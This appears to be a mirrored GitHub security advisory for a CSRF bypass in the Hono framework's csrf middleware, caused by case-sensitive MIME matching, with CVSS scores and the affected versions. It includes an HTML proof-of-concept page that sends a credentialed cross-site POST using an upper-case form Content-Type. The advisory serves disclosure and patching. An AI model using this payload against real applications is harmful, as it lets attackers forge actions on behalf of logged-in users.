Lucene search

K
githubGitHub Advisory DatabaseGHSA-RPFR-3M35-5VX5
HistoryAug 22, 2024 - 4:41 p.m.

Hono CSRF middleware can be bypassed using crafted Content-Type header

2024-08-2216:41:08
CWE-352
GitHub Advisory Database
github.com
7
hono
csrf
bypass
content-type
mime
form-like
bypass
protection
middleware
cors

CVSS3

5

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

LOW

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

AI Score

6.9

Confidence

Low

EPSS

0

Percentile

16.4%

Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

Details

MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as “Application/x-www-form-urlencoded”.

PoC

<html>
  <head>
    <title>CSRF Test</title>
    <script defer>
      document.addEventListener("DOMContentLoaded", () => {
        document.getElementById("btn").addEventListener("click", async () => {
          const res = await fetch("http://victim.example.com/test", {
            method: "POST",
            credentials: "include",
            headers: {
              "Content-Type": "Application/x-www-form-urlencoded",
            },
          });
        });
      });
    </script>
  </head>
  <body>
    <h1>CSRF Test</h1>
    &lt;button id="btn"&gt;Click me!&lt;/button&gt;
  &lt;/body&gt;
&lt;/html&gt;

Impact

Bypass csrf protection implemented with hono csrf middleware.

Discussion

I’m not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

Affected configurations

Vulners
Node
honohonoRange<4.5.8
VendorProductVersionCPE
honohono*cpe:2.3:a:hono:hono:*:*:*:*:*:*:*:*

CVSS3

5

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

LOW

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

AI Score

6.9

Confidence

Low

EPSS

0

Percentile

16.4%

Related for GHSA-RPFR-3M35-5VX5